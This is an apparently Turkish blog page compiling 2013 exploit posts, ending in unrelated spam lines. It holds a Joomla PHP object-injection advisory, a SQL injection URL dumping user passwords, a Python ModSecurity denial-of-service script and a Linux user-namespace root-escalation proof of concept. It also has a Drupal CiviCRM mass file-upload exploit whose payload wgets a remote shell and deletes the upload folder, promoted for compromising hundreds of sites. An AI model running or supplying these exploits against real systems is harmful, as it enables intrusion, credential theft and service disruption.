Joomla 3.0.3 PHP Object Injection Vulnerability

joomla-aciklariJoomla!  3.0.3 (plugins/system/remember/remember.php) – PHP Object Injection bulunmuş olup, açığın oluşum yeri ve kullanımı hakkındaki bilgilendirmeler aşağıdaki şekildedir;

------------------------------------------------------------------
Joomla! <= 3.0.3 (remember.php) PHP Object Injection Vulnerability
------------------------------------------------------------------

[-] Software Link:

http://www.joomla.org/

[-] Affected Versions:

Version 3.0.3 and earlier 3.0.x versions.
Version 2.5.9 and earlier 2.5.x versions.

[-] Vulnerability Description:

The vulnerable code is located in /plugins/system/remember/remember.php:

34.	$hash = JApplication::getHash('JLOGIN_REMEMBER');
35.
36.	if ($str = JRequest::getString($hash, '', 'cookie', JREQUEST_ALLOWRAW | JREQUEST_NOTRIM))
37.	{
38.	    // Create the encryption key, apply extra hardening using the user agent string.
39.	    // Since we're decoding, no UA validity check is required.
40.	    $privateKey = JApplication::getHash(@$_SERVER['HTTP_USER_AGENT']);
41.
42.	    $key = new JCryptKey('simple', $privateKey, $privateKey);
43.	    $crypt = new JCrypt(new JCryptCipherSimple, $key);
44.	    $str = $crypt->decrypt($str);
45.	    $cookieData = @unserialize($str);

User input passed through cookies is not properly sanitized before being used in an unserialize()
call at line 45. This could be exploited to inject arbitrary PHP objects into the application scope.
Successful exploitation of this vulnerability requires authentication because the attacker needs
to know the "hash string" used to read the cookie parameter at line 36.

[-] Solution:

Upgrade to version 2.5.10, 3.0.4 or 3.1.0.

[-] Disclosure Timeline:

[04/12/2012] - Vendor alerted for a possible vulnerability
[13/02/2013] - Vulnerability confirmed and proof of concept sent to the vendor
[24/04/2013] - Vendor update released
[26/04/2013] - Public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2013-3242 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Original Advisory:

http://karmainsecurity.com/KIS-2013-04

Joomla DJ Classifieds Extension 2.0 – Blind SQL Injection Vulnerability

joomla-aciklariJoomla DJ Classifieds Extension 2.0 – Blind SQL Injection oluşum yeri ve açığın kullanımı konusunda açıklamalar şu şekildedir.

Joomla Component com_s5clanroster Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Dork           : inurl:"com_s5clanroster"
.:. Script         : http://www.shape5.com/product_details/club_extensions/s5_clan_roster.html
####################################################################
===[ Exploit ]===

Sql Injection:
==============

server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=1

server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null'+/*!50000UnIoN*/+/*!50000SeLeCt*/group_concat(username,0x3a,password),222+from+jos_users-- -
####################################################################

 		 	   		  

ModSecurity Remote Null Pointer Dereference

ModSecurity Remote Null Pointer Dereference

python exploit code

#!/usr/bin/env python3 #-*- coding: utf-8 -*- # # Created on Mar 29, 2013 # # @author: Younes JAAIDI <<a href="mailto:yjaaidi@shookalabs.com">yjaaidi@shookalabs.com</a>> #

import argparse import http.client import logging import sys import urllib.request

logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) logger.addHandler(logging.StreamHandler(sys.stderr))

class ModSecurityDOSCheck(object):

_DEFAULT_REQUEST_BODY_SIZE = 200 # KB     _DEFAULT_CONCURRENCY = 100     _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

def __init__(self):         self._request_counter = 0         self._status_message = None

def main(self, args_list):         args_object = self._parse_args(args_list)                 payload = "A" * args_object.request_body_size * 1024                 request = urllib.request.Request(args_object.target_url,                                          method = "GET",                                          data = payload.encode('utf-8'),                                          headers = {'Content-Type': 'text/random',                                                     'User-Agent': self._DEFAULT_USER_AGENT})                 if self._send_request(request):             logger.info("Target seems to be vulnerable!!!")             return 0         else:             logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")             return 1

def _parse_args(self, args_list):         parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")         parser.add_argument('-t', '--target-url',                             dest = 'target_url',                             required = True,                             help = "Target URL")         parser.add_argument('-s', '--request-body-size',                             dest = 'request_body_size',                             default = self._DEFAULT_REQUEST_BODY_SIZE,                             type = int,                             help = "Request body size in KB")                 return parser.parse_args()

def _send_request(self, request):         try:             urllib.request.urlopen(request)             return False         except (http.client.BadStatusLine, urllib.error.HTTPError):             return True

if __name__ == '__main__':     sys.exit(ModSecurityDOSCheck().main(sys.argv))

Linux Kernel open-time Capability file_ns_capable() Privilege Escalation

Linux Kernel open-time Capability file_ns_capable() Privilege Escalation

/* userns_root_sploit.c by */
/* Copyright (c) 2013 Andrew Lutomirski.  All rights reserved. */
/* You may use, modify, and redistribute this code under the GPLv2. */

#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <linux/futex.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>

#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif

pid_t parent;
int *ftx;

int childfn()
{
int fd;
char buf[128];

if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 &&
errno != EWOULDBLOCK)
err(1, "futex");

sprintf(buf, "/proc/%ld/uid_map", (long)parent);
fd = open(buf, O_RDWR | O_CLOEXEC);
if (fd == -1)
err(1, "open %s", buf);
if (dup2(fd, 1) != 1)
err(1, "dup2");

// Write something like "0 0 1" to stdout with elevated capabilities.
execl("./zerozeroone", "./zerozeroone");

return 0;
}

int main(int argc, char **argv)
{
int dummy, status;
pid_t child;

if (argc < 2) {
printf("usage: userns_root_sploit COMMAND ARGS...\n\n"
"This will run a command as (global) uid 0 but no capabilities.\n");
return 1;
}

ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (ftx == MAP_FAILED)
err(1, "mmap");

parent = getpid();

if (signal(SIGCHLD, SIG_DFL) != 0)
err(1, "signal");

child = fork();
if (child == -1)
err(1, "fork");
if (child == 0)
return childfn();

*ftx = 1;
if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0)
err(1, "futex");

if (unshare(CLONE_NEWUSER) != 0)
err(1, "unshare(CLONE_NEWUSER)");

if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child failed");

if (setresuid(0, 0, 0) != 0)
err(1, "setresuid");
execvp(argv[1], argv+1);
err(1, argv[1]);

return 0;
}

Drupal civicrm module remote file upload Vulnerability

Drupal civicrm modülünde tarafımdan remote file upload açığı bulunmuştur.
Açığın oluşum yeri /sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php kaynaklanmakta olup, ofc_upload_image.php?name=Shell.php post edildiğinde sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/ klasörüne php code upload edilebilmekte servere erişim sağlanabilmektedir. Çok önemli sitelerde gördüğüm bu açık nedeniyle açık tarafımdan public edilmiştir.
Aşağıda yazmış civicrm remote file upload exploitiyle localhosttan php komutu çalıştırılmak suretiyle çok kısa zamanda yüzlerce siteye Shell upload edilebilmekte, Shell değişik dizinlere kopyaanarak upload edildiği dizin klasörü imha edilerek açık kapatılmaktadır.
aynı scriptin joomla eklentisi buradaki sitemizde yayınlanmıştır.
Php exploit ve açığın kullanım şekli aşağıdaki gibidir.

# Exploit Title: Drupal civicrm module remote file upload exploit
# Google Dork:"Index of /sites/all/modules/civicrm/packages/OpenFlashChart/"
# Date: 20/04/2013
# Exploit Author: iskorpitx
# Vendor Homepage: http://civicrm.org
# Software Link: http://sourceforge.net/projects/civicrm/files/civicrm-stable/4.2.2/civicrm-4.2.2-drupal.tar.gz/download
# Version: [civicrm 4.2.2]
# Tested on: Win8 Pro x64
# CVE : http://www.securityweb.org

<!--?php     # Drupal module civicrm OpenFlashCart ofc_upload_image.php remote file upload exploit # http://www.securityweb.org & http://www.security.biz.tr # multithreading mass c:\appserv\www-->exp.php -u http://target.com/ -f post.php

$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))
die("\n        Usage example: php jnews.php -u http://target.com/ -f post.php\n
-u http://target.com/    The full path to Drupal!
-f post.php             The name of the file to create.\n");

$url     =  $options['u'];
$file    =  $options['f'];

$shell = "{$url}sites/all/modules/civicrm/packages/OpenFlashChart/tmp-upload-images/{$file}";
$url   = "{$url}sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name={$file}";

$data      = '<!--?php   system("wget http://www.securityweb.org/shell.txt; mv shell.txt post.php");  system("cp post.php ../../../../../../../tmp/post.php");  system("cd ..; rm -rf tmp-upload-images");  echo "by iskorpitx" ;   fclose ( $handle );   ?-->';
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');

echo "        [+] Submitting request to: {$options['u']}\n";

$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
echo "        [+] Exploit completed successfully!\n";
echo "        ______________________________________________\n\n        {$shell}?cmd=system('id');\n";
}
else
{
die("        [+] Exploit was unsuccessful.\n");
}

?>

2.el eşya
escort bayan escort bayan escort bayan fantazi iç giyim